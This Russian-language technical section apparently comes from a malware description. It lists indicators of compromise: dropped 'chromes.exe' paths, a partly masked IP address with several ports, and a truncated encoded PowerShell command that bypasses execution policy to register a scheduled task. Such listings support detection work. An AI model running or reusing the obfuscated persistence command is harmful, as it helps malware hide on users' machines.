Техническая информация
- <SYSTEM32>\tasks\chromes.exe
- %TEMP%\chromes.exe
- '15#.#2.226.43':56001
- '15#.#2.226.43':56005
- '15#.#2.226.43':1
- '15#.#2.226.43':56002
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBDAGgAcgBvAG0AZQBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZ...